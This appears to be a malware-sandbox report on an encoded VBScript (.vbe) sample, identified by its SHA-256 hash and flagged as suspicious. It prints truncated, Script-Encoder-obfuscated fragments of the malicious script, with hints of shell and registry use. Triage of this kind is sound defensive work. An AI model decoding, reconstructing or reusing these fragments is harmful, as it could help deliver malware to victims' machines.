Suspicious 80% Download

2802797815808a050d2272e9b11223ec71d879be32c7225ffe2fc1474ed8c740.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-2562802797815808a050d2272e9b11223ec71d879be32c7225ffe2fc1474ed8c740
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^tSMTAA==@#@&@#@&}wDkW PAaw^k^kD@#@&@#@&ZW dY,K2;J6P,P,P~P~~,'~J}2/!;"&njF6:2 J@#@&;WUkY,M}USj~P{PER74dE@#@&ZKU/DP~#$S,P,P~'~EhKqHr~B,qUOD\Cs^+~N~8Phbx!Y+@#@&;GxkY~CA93 ,PP,~',JCn/i-UW6YAl.n'J@#@&@#@&@#@&frh,(296x~~f_9gAS,2_psU@#@&@#@&EP(xbYrC^k/mOkKxP9ndP7lMkC4snkPLVK8l^+d@#@&2C}oUPxPnuIq6vJW%c~c2X*lZX&+sFcGFFF vlX/J*@#@&@#@&@#@&@#@&jI\!@#@&@#@&@#@&@#@&j;(Pt.AF"`b@#@&,PP,fbhPh2p?w~~(xSp_SPhpjAj@#@&,P,Pj+O~h2p?w~',Z.nmY+68N+^YvEUm.bwDkxTRwrV?z/D+h6(L+1OJ*@#@&,~~PU+DP(9J}_PxP;.+mYn6(L+^OvJ ?1.bwOc?4+V^J*@#@&,P~P@#@&~~,Pn5i2UP',(BS5Cc2awCU92U\b.W :nUD?Y.r od`rYqqHGq"]J*PL~J'HrmMWdG6YRg3K'sDm …
Percent-encoded content decoded line 1
1:186700… cF&qGW )022Z80%GcG2*0A;Z~bf%*WvT!lT2R2$TO!!TTR&3Z8*RA/;vR*c+cW!Z20%2f/owssA0bOv*ZqT!R&;cf!30+Z/!Zq!Z%1*FcZ0X;!{*ZoR&3;FR%A;Z+0*Rv*c+!T3O&fZq!Z!!R$XGZcRA/%30+2/ Zq!Z%foR!F{*2G0&A/8%0~Z;v%+c+*c+!T2Rc+9;sswo%22Z800A;Z+%$%fWvT!A0&2f/owss30 …
Microsoft Script Encoder footer line 1
1:1254264… #@#@&P,P~~,PP3U9P(0@#@&,P~,16Y@#@&,~P,@#@&P,P~F_5q}~',qKjpK@#@&2 N~s;U1YrW @#@&@#@&@#@&oQ0kBA==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.